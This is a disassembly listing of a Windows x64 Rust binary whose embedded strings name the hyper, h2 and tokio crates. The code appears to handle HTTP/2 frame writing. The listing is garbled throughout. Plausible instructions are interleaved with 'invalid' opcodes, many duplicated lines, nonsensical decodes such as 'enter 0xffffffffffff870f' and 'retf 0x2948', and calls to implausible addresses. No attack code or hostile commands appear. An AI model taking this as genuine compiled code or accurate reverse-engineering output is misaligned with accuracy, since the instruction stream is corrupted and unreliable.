mov byte [rsp + 0x2488], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bad8]
lea r8, [rsp + 0x2480]
mov edx, 0x2b
call fcn.1401049b0
lea rax, [0x14013c788]
mov qword [rsp + 0x3420], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x3428], rax
lea rax, str.The_max_buf_size_cannot_be_smaller_than__
mov qword [rsp + 0xcd0], rax
mov qword [rsp + 0xcd8], 2
mov qword [rsp + 0xcf0], 0
lea rax, [rsp + 0x3420]
mov qword [rsp + 0xce0], rax
mov qword [rsp + 0xce8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
lea rcx, [rsp + 0xcd0]
call fcn.140104620
mov ecx, 8
mov edx, 0x1e8
call fcn.140104380
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE_as_usize___val__val___MAX_MAX_FRAME_SIZE_as_usizeC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_read.rs
lea r8, [0x14013a808]
mov edx, 0x5e
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140104950
mov ecx, 8
mov edx, 8
call fcn.140104380
mov ecx, 8
mov edx, 0x10
call fcn.140104380
mov ecx, 8
mov edx, 0x60
call fcn.140104380
mov ecx, 8
mov edx, 0x48
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140104a40
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs
call fcn.140104c30
mov rax, qword [rsp + 0xcd0]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x140079313
lea rcx, [rsp + 0xcd0]
call fcn.14007bc30
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xd0]
dec rsi
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xd0], rsi
jmp 0x1400793c8
mov ecx, 0x80
mov edx, 0x280
call fcn.140104380
mov ecx, 8
mov edx, 0xf98
call fcn.140104380
mov ecx, 8
mov edx, 0x20
call fcn.140104380
lea rcx, str.conn.ping_pong
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs
mov edx, 0xe
call fcn.140104a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
call fcn.140104c30
mov rax, qword [rsp + 0x48]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x14007940d
lea rcx, [rsp + 0x2480]
call fcn.14007bc30
jmp 0x14007940d
lea rcx, [rsp + 0xcd0]
call fcn.14007ba60
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0xcd0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xcd0]
call fcn.140109d90
mov ecx, 0x80
mov edx, 0x1000
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
add al, ch
invalid
invalid
or byte [rax], al
add al, ch
xor byte [rax - 0x72b7fff8], bh
mov word [rax + rax*4], fs
and al, 0
add al, ch
push rbx
add byte es:[rax], al
lea rcx, [rsp + 0x2480]
call fcn.14007ba60
mov al, 1
mov byte [rsp + 0xcd0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xcd0]
call fcn.140109d90
xor al, 1
jmp 0x1400791a0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140079a7c
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400798c3
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, rcx
call fcn.14010c880
mov rdx, qword [rsp + 0x38]
mov rcx, rsi
test al, al
jne 0x1400798b5
mov byte [rdx + 0x11], 1
jmp 0x1400798b5
pause
mov rax, qword [rdx + 8]
nop dword [rax + rax]
cmp rax, 0xffffffffffffffff
je 0x140079ac5
test rax, rax
js 0x140079b61
lea rcx, [rax + 1]
lock cmpxchg qword [rdx + 8], rcx
jne 0x140079ad0
invalid
in eax, 0xf
adc byte [rsp + 0x70], al
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x110], xmm1
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x100], xmm0
mov byte [rbx], sil
mov byte [rbx + 1], dil
mov qword [rbx + 8], r12
movdqa xmm0, xmmword [rsp + 0x100]
movdqa xmm1, xmmword [rsp + 0x110]
movdqu xmmword [rbx + 0x10], xmm0
movdqu xmmword [rbx + 0x20], xmm1
mov qword [rbx + 0x30], rdx
mov rcx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x44]
test al, al
jne 0x1400798b5
jmp 0x1400798a2
add eax, 0xacb41
mov edx, 0x28
call fcn.1401046f0
stosd dword [rdi], eax
or byte [rax], al
stosd dword [rdi], eax
or byte [rax], al
call fcn.14010a580
mov ecx, 8
mov edx, 0x20
call fcn.140104380
int3
int3
int3
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0x38]
call fcn.140104620
or byte [rax], al
or byte [rax], al
int3
int3
int3
lea rdx, str.PoisonError
mov r8d, 0xb
mov rcx, rsi
mov rdi, rax
call rax
test al, al
je 0x140079c14
mov al, 1
add rsp, 0x28
pop rdi
pop rsi
ret
lea rdx, [0x1401111c9]
mov r8d, 7
mov rcx, rsi
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
jmp rax
jmp rax
push rbp
push rbx
sub rsp, 0x198
cmp dword [rcx + 0xb8], 4
jne case.default.0x140079cb3
mov rsi, rcx
mov rax, qword [rcx + 0x108]
mov rcx, qword [rcx + 0x110]
mov r8, rcx
sub r8, rax
add dword [rax], eax
add byte [rcx - 0x77], cl
enter 0x2949, 0xffffffffffffffc0
cmp r8, qword [rsi + 0x130]
jb case.default.0x140079cb3
lea r12, [rsi + 0xb8]
lea rdi, [rsi + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
lea r13, [rsi + 0x110]
mov qword [rsp + 0x108], 2
mov qword [rsp + 0x128], 0
movzx r9d, byte [rdx]
movzx ecx, byte [rdx]
lea r10, [0x140174774]
str word [rdi + 0x63]
or al, 0x8a
str word [rdi + 0x63]
or al, 0x8a
add r9, r10
jmp r9
movups xmm0, xmmword [rdx + 8]
movups xmm1, xmmword [rdx + 0x18]
movups xmm2, xmmword [rdx + 0x28]
movups xmm3, xmmword [rdx + 0x38]
movaps xmmword [rsp + 0x90], xmm0
add byte [rax], al
add byte [rax - 0x75], cl
push rdx
mov qword [rsp + 0xd0], rdx
add byte [rax], al
add byte [rax - 0x75], cl
push rdx
mov qword [rsp + 0xd0], rdx
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edx
movaps xmmword [rsp + 0xa0], xmm1
mov r15, qword [rsp + 0x90]
mov edi, dword [rsp + 0x90]
mov edi, dword [rsp + 0x90]
cmp r15, 2
mov qword [rsp + 0xd8], r13
je 0x14007aa5a
cmp r15d, 1
jne 0x14007aa5f
mov rdx, qword [rsp + 0xa0]
xor r13d, r13d
sub rdx, qword [rsp + 0xa8]
cmovae r13, rdx
jmp 0x14007aa67
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
rol byte [rbx], 0x48
mov dword [rsp + 0x20], eax
cmp rax, rcx
ja 0x14007b6bf
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079da9
mov edx, 1
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 6
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007b6bf
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079def
invalid
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
sbb edi, dword [rdx + 1]
sbb edi, dword [rdx + 1]
mov edx, 1
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], bpl
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007b6bf
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
add dword [rax], eax
add byte [rax - 0x77], cl
retf 0x2948
ret 0x8348
cli
add esi, dword [rdi + 0x1b]
add dword [rax], eax
add byte [rax - 0x77], cl
retf 0x2948
mov edx, 4
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007b6bf
xchg dword [rdi + 0x18], esp
add byte [rax], al
xchg dword [rdi + 0x18], esp
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
add dword [rax], eax
add byte [rax - 0x77], cl
retf 0x2948
ret 0x8348
cli
invalid
ja 0x140079e8d
add dword [rax], eax
add byte [rax - 0x77], cl
retf 0x2948
mov edx, 8
or byte [rax], al
add byte [rax], al
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov qword [rdx + rax], rbx
add rax, 8
or byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
cmp rax, rcx
jbe 0x14007a986
jmp 0x14007b6bf
lea rax, [rdx + 8]
mov r15d, dword [rdx + 0x120]
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
movzx ebp, byte [rdx + 0x124]
mov ecx, dword [rsi + 0x138]
add rcx, 9
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rcx
lea rcx, [rsp + 0x20]
mov rdx, rax
mov r8, rsi
call fcn.140028130
mov rdi, qword [rsi + 0x108]
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x45]
and al, 0x45
and al, 0x45
lea rbx, [rsp + 0xe0]
mov r8d, 3
mov rcx, rbx
call fcn.14002bb40
mov byte [rsp + 0x40], 1
lea rdx, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r8d, 1
mov rcx, rbx
call fcn.14002bb40
mov byte [rsp + 0x40], bpl
lea rdx, [rsp + 0x40]
mov r8d, 1
mov rcx, rbx
call fcn.14002bb40
mov eax, r15d
bswap eax
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
call fcn.14002bb40
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
call 0x188079f6f
mov ebp, dword [rax + 8]
call 0x188079f6f
mov ebp, dword [rax + 8]
mov rbx, qword [rsp + 0x30]
mov r13, rbp
not r13
cmp r13, rcx
cmovae r13, rcx
cmp rbx, r13
jbe 0x14007a9a4
test r13, r13
mov dword [rsp + 0xd8], r15d
je 0x14007ad37
cdq
invalid
add byte [rax], al
cdq
or eax, 0x8d480000
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
lea rcx, [rsp + 0x40]
mov r9, rbx
call qword [rax]
sub qword [rsp + 0x30], r13
and al, 0x30
and al, 0x30
add qword [rsp + 0x28], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xa0], rax
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
jmp 0x14007ad60
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
mov rdx, qword [rdi]
mov byte [rdx + rax], 4
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007b758
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007a19a
mov edx, 1
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007b758
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
cli
add esi, dword [rdi + 0x1b]
cli
add esi, dword [rdi + 0x1b]
mov edx, 4
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007b758
mov qword [rsi + 0x108], rax
test ebp, ebp
je 0x14007a225
lea rcx, [rsp + 0xe0]
xor edx, edx
mov r8d, dword [rsp + 0x130]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rcx], dh
rol byte [rbx + rcx*4 - 0x7c], cl
and al, 0x30
add dword [rax], eax
add al, ch
call fcn.14002cfd0
test ebx, ebx
call fcn.14002cfd0
test ebx, ebx
je 0x14007a243
lea rcx, [rsp + 0xe0]
mov edx, 1
add byte [rdx + 1], bh
mov r8d, dword [rsp + 0x138]
call fcn.14002cfd0
test r13d, r13d
je 0x14007a262
lea rcx, [rsp + 0xe0]
mov edx, 2
mov r8d, dword [rsp + 0x140]
call fcn.14002cfd0
test r12d, r12d
je 0x14007a281
lea rcx, [rsp + 0xe0]
mov edx, 3
mov r8d, dword [rsp + 0x148]
call fcn.14002cfd0
invalid
inc dword [rbx + 0x14c24bc]
add byte [rax], al
add byte [rdx + rbx + 0x48], dh
lea ecx, [rsp + 0xe0]
cmp dword [rsp + 0x14c], 0
je 0x14007a2a5
lea rcx, [rsp + 0xe0]
mov edx, 4
mov r8d, dword [rsp + 0x134]
test byte [rsp + rsi], ah
add dword [rax], eax
add al, ch
invalid
invalid
sti
invalid
test byte [rsp + rsi], ah
add dword [rax], eax
add al, ch
sub ebp, dword [0xfc8ba2a2]
and al, 0x50
add dword [rax], eax
add byte [rax], al
cmp dword [rsp + 0x150], 0
je 0x14007a2c9
sbb cl, byte [rax - 0x73]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdx + 5], bh
lea rcx, [rsp + 0xe0]
lea ecx, [rsp + 0xe0]
mov edx, 5
mov r8d, dword [rsp + 0x13c]
cmp al, 1
add byte [rax], al
call fcn.14002cfd0
cmp dword [rsp + 0x154], 0
je 0x14007b070
add byte [rdi], cl
test byte [rcx + 0x4800000d], bl
lea ecx, [rsp + 0xe0]
lea rcx, [rsp + 0xe0]
mov edx, 6
mov r8d, dword [rsp + 0x144]
call fcn.14002cfd0
mov r8, qword [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test dword [rdi + 0xd], edi
add byte [rax], al
jmp 0x14007b122
invalid
mov dword [rsp + 0xe0], edi
mov qword [rsp + 0xe8], rcx
add byte [rax - 0x73], cl
and al, 0x20
add byte [rax - 0x73], cl
and al, 0x20
mov rdx, rax
mov r8, rsi
call fcn.140028130
mov rdi, qword [rsi + 0x108]
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
and al, 0x40
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x45]
lea rbx, [rsp + 0xe0]
mov r8d, 3
mov rcx, rbx
call fcn.14002bb40
mov byte [rsp + 0x40], 5
lea rdx, [rsp + 0x40]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
call fcn.14002bb40
mov byte [rsp + 0x40], bpl
lea rdx, [rsp + 0x40]
mov r8d, 1
mov rcx, rbx
call fcn.14002bb40
invalid
invalid
sti
inc dword [rcx + rcx*4 - 8]
bswap eax
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
invalid
mov r8d, 4
mov rcx, rbx
call fcn.14002bb40
mov rax, qword [rsp + 0xe0]
mov rbp, qword [rax + 8]
push 0xffffffffce0f4108
push 0xffffffffce0f4108
mov dword [rsp + 0x40], r14d
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
call fcn.14002bb40
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0xe0]
loopne 0x14007a3f4
add byte [rax], al
loopne 0x14007a3f4
add byte [rax], al
mov rcx, qword [rsp + 0xe8]
mov r13, qword [rax + 8]
not r13
cmp r13, rcx
cmovae r13, rcx
cmp rbx, r13
jbe 0x14007a9c1
invalid
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
mov dword [rsp + 0xd8], r15d
je 0x14007aed1
stosd dword [rdi], eax
or al, byte [rax]
add byte [rax], al
stosd dword [rdi], eax
or al, byte [rax]
add byte [rax], al
lea rdx, [rsp + 0x38]
add byte [rax], al
lea rdx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rax - 0x73], cl
and al, 0x40
lea rcx, [rsp + 0x40]
mov r9, rbx
call qword [rax]
sub qword [rsp + 0x30], r13
and al, 0x30
and al, 0x30
add qword [rsp + 0x28], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xa0], rax
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
jmp 0x14007aefa
ja 0x14007a4a1
mov edx, 3
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax + 2], 4
mov word [rdx + rax], 0
add rax, 3
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
cmp rax, rcx
ja 0x14007b6bf
mov qword [rsi + 0x108], rax
or byte [rcx], al
add byte [rax], al
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007a4ef
mov edx, 1
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 3
inc rax
ror byte [rax - 0x77], 0x44
and al, 0x20
cmp rax, rcx
jbe 0x14007a8a2
sbb edi, dword [rdx + 4]
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov dword [rdx + rax], 0
add rax, 4
rol byte [rax + rcx*2], 0x89
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffa0
adc byte [rax], al
invalid
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
rol byte [rax + rcx*2], 0x89
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffa0
adc byte [rax], al
add byte [rax - 0x77], cl
xchg byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xb024ac], cl
add byte [rax], al
mov qword [rsi + 0x108], rax
mov ebp, dword [rsp + 0xb0]
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x14007a6ae
mov edx, 4
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0xe0], rax
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x47
adc byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x47
adc byte [rax], al
add byte [rax - 0x77], cl
xchg byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xb424ac], cl
mov qword [rsi + 0x108], rax
mov ebp, dword [rsp + 0xb4]
add byte [rax], al
add byte [rax], al
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x14007a707
mov edx, 4
mov rcx, rdi
call fcn.1400126a0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007b710
xchg esi, ebp
sldt word [rax]
xchg esi, ebp
sldt word [rax]
mov qword [rsi + 0x108], rax
test rbx, rbx
je 0x14007a9de
lea rdx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
mov r9, rbx
call qword [rax]
mov qword [rsp + 0x50], rbx
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xf8], rax
mov r14, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe8]
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
outsb dx, byte [rsi]
add al, byte [rax]
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
outsb dx, byte [rsi]
add al, byte [rax]
add byte [rax - 0x75], cl
mov cs, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], dl
add dword [rax], eax
add byte [rax + 0x29], cl
enter 0x394c, 0xfffffffffffffff0
mov rcx, qword [rsi + 0x108]
mov rax, qword [rsi + 0x110]
sub rax, rcx
cmp rax, r14
jae 0x14007a7c1
mov rcx, rdi
mov rdx, r14
call fcn.1400126a0
mov rcx, qword [rsi + 0x108]
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
add rcx, qword [rsi + 0x100]
mov rdx, rbx
mov r8, r14
invalid
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x108]
add rax, r14
invalid
mov qword [rsp + 0x158], rax
cmp rax, qword [rsi + 0x110]
ja 0x14007b822
mov qword [rsi + 0x108], rax
mov qword [rsp + 0xf0], 0
add byte [rax], al
add byte [rax], al
add rbx, r14
mov qword [rsp + 0xe8], rbx
jmp 0x14007aa07
mov qword [rsi + 0x108], rax
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007b082
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xe0]
mov r8, rbx
call fcn.14002bb40
xor r14d, r14d
jmp 0x14007adbd
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xe0]
mov r8, rbx
call fcn.14002bb40
xor r14d, r14d
jmp 0x14007af57
lea rbx, [0x14016f768]
mov qword [rsp + 0xe8], rbx
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [0x14013a998]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
lea rcx, [rsp + 0xf8]
mov rdx, rbx
xor r8d, r8d
call qword [rax + 0x10]
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007b082
jmp 0x14007b122
xor r13d, r13d
jmp 0x14007aa67
mov r13, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb8]
cmp r13, r14
cmovae r13, r14
mov edx, dword [rsi + 0x138]
cmp r13, rdx
jbe 0x14007aabc
lea rax, [0x14016f768]
mov qword [rsp + 0x98], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
lea rax, [0x140110a98]
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
mov rdx, r14
mov r8, r15
call fcn.14002bb40
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r14
mov r8, r15
call qword [rax + 0x10]
mov r14, qword [rsp + 0x20]
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov r15d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rcx + 8]
mov r8, rdx
sub r8, rbp
bswap r8
mov rax, r8
shl rax, 0x18
jne 0x14007b7d1
lea rax, [rdi + 3]
cmp rdi, 0xfffffffffffffffc
ja 0x14007b7e9
lea rax, [0x14016f768]
mov qword [rsp + 0x98], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
lea rax, [0x140110a98]
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
mov rdx, r14
mov r8, r15
call fcn.14002bb40
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r14
mov r8, r15
call qword [rax + 0x10]
mov r14, qword [rsp + 0x20]
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov r15d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rcx + 8]
mov r8, rdx
sub r8, rbp
bswap r8
mov rax, r8
shl rax, 0x18
jne 0x14007b7d1
lea rax, [rdi + 3]
cmp rdi, 0xfffffffffffffffc
ja 0x14007b7e9
mov r8, qword [rsp + 0x108]
cmp r8, 2
je 0x14007b122
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
test r8, r8
je 0x14007b0b1
mov al, 0xc
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [rsp + 0x80]
mov qword [rdi + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
push rax
push rax
movaps xmm2, xmmword [rsp + 0x60]
movaps xmm3, xmmword [rsp + 0x70]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
adc dword [rdi + 0x10], ecx
adc dword [rdi + 0x10], ecx
movups xmmword [rdi], xmm0
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007b082
jmp 0x14007b122
lea rcx, str.assertion_failed:_self.has_capacity__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_write.rs
lea r8, [0x14013a6c0]
lock or eax, dword [rax]
lock or eax, dword [rax]
mov edx, 0x25
call fcn.1401046f0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x90], rax
add byte [rax], al
add byte [rax], al
lea rax, [fcn.140012c90]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], r13
jmp 0x14007b784
lea rax, [rsp + 0xe0]
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x28], rax
stc
dec dword [rax - 0x77]
and al, 0x28
